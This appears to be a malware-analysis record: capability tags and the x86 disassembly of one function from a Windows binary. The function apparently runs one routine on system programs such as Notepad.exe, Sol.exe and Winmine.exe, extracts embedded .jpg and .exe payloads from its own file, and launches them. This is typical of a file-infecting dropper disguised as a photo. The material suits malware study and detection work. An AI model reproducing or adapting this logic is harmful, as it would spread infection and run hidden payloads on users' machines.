Function at 0x4029b0
Capabilities:
Create process on windows
Create thread
Get common file path
Read file on windows
Resume thread
Suspend thread
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x224
mov eax, dword [0x409034]
push 0x15
mov dword [esp + 0x224], eax
mov dword [0x4092a0], 0x14
call fcn.00403228
mov dword [0x4092ac], eax
mov eax, dword [0x4092a0]
add eax, 2
push eax
call fcn.00403228
mov edx, dword [str.USR_Shohdi_Photo_USR]
mov ecx, dword [0x4092ac]
mov dword [0x4092a8], eax
mov dword [ecx], edx
mov eax, dword [0x40720c]
mov dword [ecx + 4], eax
mov edx, dword [0x407210]
mov dword [ecx + 8], edx
mov eax, dword [0x407214]
mov dword [ecx + 0xc], eax
mov edx, dword [0x407218]
mov dword [ecx + 0x10], edx
mov al, byte [0x40721c]
mov byte [ecx + 0x14], al
mov ecx, dword [0x4092ac]
mov edx, dword [0x4092a8]
add esp, 8
mov dword [0x4092b0], 0x727375
mov dword [0x4092b4], 0x757372
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402a46
push ebx
push ebp
push esi
push edi
mov edi, dword [0x4092a8]
dec edi
jmp 0x402a60
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402a60
mov cx, word [0x407204]
mov edx, dword [esp + 0x238]
mov word [edi], cx
push 0x12c
mov dword [0x4092c0], edx
call fcn.00403228
push 0x12c
mov dword [0x4092c4], eax
call fcn.00403228
push 0x12c
mov dword [0x4092bc], eax
call fcn.00403228
push 0x12c
mov dword [0x4092b8], eax
call fcn.00403228
mov ecx, dword [0x4092c4]
mov dword [0x4092a4], eax
mov eax, dword [0x4092bc]
push eax
push ecx
call fcn.00401b00
mov edx, dword [0x4092c4]
mov eax, edx
add esp, 0x18
lea esi, [eax + 1]
jmp 0x402ae0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402ae0
sub eax, esi
mov cl, byte [eax + edx - 1]
mov bl, 0x22
cmp cl, bl
jne 0x402b05
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402af8
sub eax, esi
mov byte [eax + edx - 1], cl
mov edx, dword [0x4092bc]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402b10
sub eax, esi
cmp byte [eax + edx - 1], bl
jne 0x402b31
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402b24
sub eax, esi
mov byte [eax + edx - 1], cl
mov edx, dword [0x4092b8]
push 0x12c
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov eax, dword [0x4092a4]
push 0x12c
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x3e8
call fcn.00403228
mov ecx, dword [0x4092c4]
mov ebx, eax
add esp, 4
mov edx, ebx
jmp 0x402b70
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402b70
mov eax, ebx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402b80
sub eax, edx
mov ecx, 0x4092b0
lea edx, [eax + ebx - 3]
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x402b94
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402ba3
mov ecx, dword [0x4092bc]
sub eax, edx
add eax, ecx
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402bb6
mov edi, ebx
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402bc2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edx, dword [0x4092c4]
push edx
call fcn.00401ca0
add esp, 4
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [0x4092b8]
lea ecx, [esp + 0x3c]
sub ecx, eax
jmp 0x402c00
mov dl, byte [eax]
mov byte [ecx + eax], dl
inc eax
test dl, dl
jne 0x402c00
lea edi, [esp + 0x3c]
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402c10
mov eax, dword [str.Notepad.exe]
mov ecx, dword [0x4071f8]
mov edx, dword [0x4071fc]
mov dword [edi], eax
mov al, byte [0x407200]
mov dword [edi + 4], ecx
lea ecx, [esp + 0x3c]
mov dword [edi + 8], edx
push ecx
mov byte [edi + 0xc], al
call fcn.00402090
mov eax, dword [0x4092b8]
lea edx, [esp + 0x40]
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402c51
lea edi, [esp + 0x3c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402c60
mov edx, dword [str.Pbrush.exe]
mov eax, dword [0x4071ec]
mov ecx, dword [0x4071f0]
mov dword [edi], edx
lea edx, [esp + 0x3c]
mov dword [edi + 4], eax
push edx
mov dword [edi + 8], ecx
call fcn.00402090
mov eax, dword [0x4092b8]
lea edx, [esp + 0x40]
add esp, 4
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402ca0
lea edi, [esp + 0x3c]
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402cb0
mov eax, dword [str.Sol.exe]
mov ecx, dword [0x4071e0]
mov dl, byte [0x4071e4]
mov dword [edi], eax
lea eax, [esp + 0x3c]
mov dword [edi + 4], ecx
push eax
mov byte [edi + 8], dl
call fcn.00402090
mov eax, dword [0x4092b8]
lea edx, [esp + 0x40]
add esp, 4
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402cf0
lea edi, [esp + 0x3c]
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402d00
mov ecx, dword [str.Winmine.exe]
mov edx, dword [0x4071d0]
mov eax, dword [0x4071d4]
mov dword [edi], ecx
mov cl, byte [0x4071d8]
mov dword [edi + 4], edx
lea edx, [esp + 0x3c]
mov dword [edi + 8], eax
push edx
mov byte [edi + 0xc], cl
call fcn.00402090
mov eax, dword [0x4092b8]
lea edx, [esp + 0x40]
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402d42
lea edi, [esp + 0x3c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402d51
mov eax, dword [str.Scandskw.exe]
mov ecx, dword [0x4071c0]
mov edx, dword [0x4071c4]
mov dword [edi], eax
mov ax, word [0x4071c8]
mov dword [edi + 4], ecx
lea ecx, [esp + 0x3c]
mov dword [edi + 8], edx
push ecx
mov word [edi + 0xc], ax
call fcn.00402090
mov edx, dword [0x4092ac]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
add esp, 4
push edx
push 1
push 1
push 0
call esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x402ffd
push 0x1f4
call fcn.00403228
mov ebx, eax
mov eax, dword [0x4092c4]
push eax
mov dword [esp + 0x28], ebx
call fcn.00401a30
mov ecx, dword [0x4092b8]
add esp, 8
mov byte [esp + 0x13], al
mov edx, ebx
lea esp, [esp]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402de0
mov edi, ebx
dec edi
lea ecx, [ecx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402df0
mov cx, word [0x407140]
mov word [edi], cx
mov eax, dword [0x4092ac]
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402e10
mov edi, ebx
sub eax, edx
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402e20
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
dec edi
jmp 0x402e40
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402e40
mov edx, dword [str..jpg]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x20
push 4
push 0
push 3
mov dword [edi], edx
mov al, byte [0x4071b8]
push 0x40000000
push ebx
mov byte [edi + 4], al
call esi
mov ecx, dword [0x4092c4]
push 0
push 0x20
push 4
push 0
push 3
push 0x80000000
push ecx
mov ebx, eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, eax
mov al, byte [esp + 0x13]
test al, al
push 2
push 0
je 0x402ed4
mov ecx, dword [0x4092a0]
mov edx, 0xfffffff8
sub edx, ecx
push edx
push esi
call ebp
push 0
lea eax, [esp + 0x20]
push eax
push 4
lea ecx, [esp + 0x24]
push ecx
push esi
call edi
mov edx, dword [esp + 0x18]
push 0
push 0
add edx, 0xfffffff8
push edx
jmp 0x402ed6
push 0xfffffffffffffff8
push esi
call ebp
push 0
lea eax, [esp + 0x20]
push eax
push 4
lea ecx, [esp + 0x24]
push ecx
push esi
call edi
mov edx, dword [esp + 0x18]
push 0
push 0
add edx, 0xfffffff8
push edx
push esi
call ebp
push 0
lea eax, [esp + 0x20]
push eax
push 4
lea ecx, [esp + 0x24]
push ecx
push esi
call edi
push 0
lea edx, [esp + 0x20]
push edx
push 4
lea eax, [esp + 0x20]
push eax
push esi
call edi
mov ecx, dword [esp + 0x18]
push 0
push 0
push ecx
push esi
call ebp
mov edx, dword [esp + 0x14]
inc edx
push edx
call fcn.00403228
mov ecx, dword [esp + 0x18]
add esp, 4
push 0
mov ebp, eax
lea eax, [esp + 0x20]
push eax
push ecx
push ebp
push esi
call edi
mov eax, dword [esp + 0x14]
push 0
lea edx, [esp + 0x34]
push edx
push eax
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
push ebp
call fcn.00403275
push 0x3e8
call fcn.00403228
mov edx, dword [str.start]
mov ebp, eax
mov ecx, ebp
mov dword [ecx], edx
mov ax, word [0x4071b0]
mov word [ecx + 4], ax
mov dl, byte [0x4071b2]
mov eax, dword [esp + 0x28]
mov byte [ecx + 6], dl
add esp, 8
mov ecx, eax
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402fa0
mov edi, ebp
sub eax, ecx
mov esi, ecx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402fb0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [esp + 0x20]
push eax
call fcn.00403275
push ebp
call fcn.00403275
mov ecx, dword [esp + 0x238]
add esp, 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
call fcn.00403267
add esp, 0x224
ret 0x10
mov ecx, dword [0x4092a8]
push ecx
push 1
push 1
push 0
call esi
push 0x1f4
mov dword [esp + 0x24], eax
call fcn.00403228
mov edx, dword [0x4092c4]
mov ebx, eax
push edx
mov dword [esp + 0x1c], ebx
call fcn.00401a30
mov ecx, dword [0x4092b8]
add esp, 8
mov byte [esp + 0x13], al
mov edx, ebx
jmp 0x403040
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x403040
mov edi, ebx
dec edi
lea ecx, [ecx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403050
mov ax, word [0x407140]
mov word [edi], ax
mov eax, dword [0x4092ac]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403068
mov edi, ebx
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403074
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403090
mov ecx, dword [str..exe]
mov eax, dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x20
push 4
push 0
push 3
mov dword [edi], ecx
mov dl, byte [0x4071a8]
push 0x40000000
push eax
mov byte [edi + 4], dl
call esi
mov ecx, dword [0x4092c4]
push 0
push 0x20
push 4
push 0
push 3
push 0x80000000
push ecx
mov ebx, eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, eax
mov al, byte [esp + 0x13]
test al, al
push 2
push 0
je 0x403129
mov ecx, dword [0x4092a0]
mov edx, 0xfffffff8
sub edx, ecx
push edx
push esi
call edi
push 0
lea eax, [esp + 0x28]
push eax
push 4
lea ecx, [esp + 0x38]
push ecx
push esi
call ebp
mov edx, dword [esp + 0x2c]
push 0
push 0
add edx, 0xfffffff8
push edx
jmp 0x40312b
push 0xfffffffffffffff8
push esi
call edi
push 0
lea eax, [esp + 0x28]
push eax
push 4
lea ecx, [esp + 0x38]
push ecx
push esi
call ebp
push 0
lea edx, [esp + 0x28]
push edx
push 4
lea eax, [esp + 0x34]
push eax
push esi
call ebp
mov ecx, dword [esp + 0x2c]
push 0
push 0
push ecx
push esi
call edi
mov edx, dword [esp + 0x28]
inc edx
push edx
call fcn.00403228
mov ecx, dword [esp + 0x2c]
add esp, 4
push 0
mov edi, eax
lea eax, [esp + 0x28]
push eax
push ecx
push edi
push esi
call ebp
mov eax, dword [esp + 0x28]
push 0
lea edx, [esp + 0x3c]
push edx
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
push edi
call fcn.00403275
mov ecx, dword [esp + 0x24]
add esp, 4
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4031c3
mov edx, dword [esp + 0x14]
push 1
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [esp + 0x14]
push eax
call fcn.00403275
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebp, dword [sym.imp.KERNEL32.dll_SuspendThread]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 4
lea ecx, [esp + 0x34]
push ecx
push 0
push 0
push 0x402970
push 0x400
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0
push esi
call ebx
test eax, eax
je 0x4031e2
push 0x64
call edi
push esi
call ebp
push 0x384
call edi
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0
push esi
call ebx
test eax, eax
jne 0x403208
jmp 0x4031e2